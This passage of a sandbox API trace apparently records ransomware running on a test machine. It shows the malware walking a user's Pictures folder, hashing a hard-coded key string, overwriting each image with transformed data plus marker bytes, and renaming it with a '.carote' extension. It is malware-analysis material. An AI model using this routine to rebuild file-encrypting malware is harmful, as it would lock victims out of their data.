dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.432] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YE BtExcqJs.bmp") returned=".bmp" [0112.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YE BtExcqJs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ye btexcqjs.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.432] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=18255) returned 1 [0112.432] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.434] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4729, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.434] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.435] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.435] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x474f, lpOverlapped=0x0) returned 1 [0112.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.436] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.437] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.437] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.437] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.437] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.437] GetLastError () returned 0x0 [0112.437] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.437] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4750) returned 0x7b182e0 [0112.437] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.437] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x474a, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x474a, lpOverlapped=0x0) returned 1 [0112.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.437] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x474f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.438] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.438] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.438] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.438] CloseHandle (hObject=0x61c) returned 1 [0112.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YE BtExcqJs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ye btexcqjs.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YE BtExcqJs.bmp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ye btexcqjs.bmp.carote")) returned 1 [0112.439] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.439] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.440] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 1 [0112.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.440] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.440] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.440] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_g2PjaKI054.gif") returned=".gif" [0112.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_g2PjaKI054.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_g2pjaki054.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.441] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=55764) returned 1 [0112.441] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.443] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd9ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.443] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.444] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.444] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xd9d4, lpOverlapped=0x0) returned 1 [0112.445] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.445] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.445] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.445] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.445] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.445] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.445] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.445] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.446] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.446] GetLastError () returned 0x0 [0112.446] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.446] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd9d0) returned 0x7b182e0 [0112.446] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.446] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xd9cf, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xd9cf, lpOverlapped=0x0) returned 1 [0112.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.446] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.446] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.446] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.447] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.447] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.447] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.447] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.447] CloseHandle (hObject=0x61c) returned 1 [0112.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.448] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.448] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_g2PjaKI054.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_g2pjaki054.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_g2PjaKI054.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_g2pjaki054.gif.carote")) returned 1 [0112.448] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.448] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.449] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.449] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0 [0112.449] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0112.450] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.450] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.450] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.450] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.451] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.451] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, 